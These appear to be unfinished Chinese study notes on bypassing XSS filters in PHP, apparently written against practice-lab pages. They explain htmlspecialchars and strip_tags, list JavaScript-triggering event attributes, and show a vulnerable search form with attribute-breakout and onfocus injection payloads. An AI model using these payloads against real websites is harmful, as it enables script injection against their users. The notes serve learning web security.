htmlspecialchars(string,flags,character-set,double_encode)
函数把预定义的字符转换为 HTML 实体,默认不编码单引号。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
strip_tags(string,allow)
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
string | 必需。规定要检查的字符串。 |
allow | 可选。规定允许的标签。这些标签不会被删除。 |
触发关键字:
onload =js
<svg>
href javascript:
<a>
src
<iframe>(立即触发)
srcdoc
<iframe>(立即触发)
onerror
<img>
onfocus
<input>
注:onxxx后面可直接加js代码,其他应用javascript:执行js代码,此外路径可以进行编码。
常用标签
以后再写。。。
1.通过拼接绕过
场景:对于不显示的元素进行拼接触发。
注意:经过htmlspecialchars()处理的数据变成实体后不能与html拼接。
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
payload:
"><script>alert('xss')</script>//
2.利用单引号闭合构造触法事件
场景:htmlspecialchars未设置flags参数;有适合的html输出位置。
这里可以通过<input>标签的一些特殊事件来执行js代码
构造代码:level3.php?keyword='οnfοcus=javascript:alert('xss') > //&submit=搜索
3.大小混写绕过str_replace()
4.unicode编码绕过
场景:对html进行二次解析,如href属性。
5.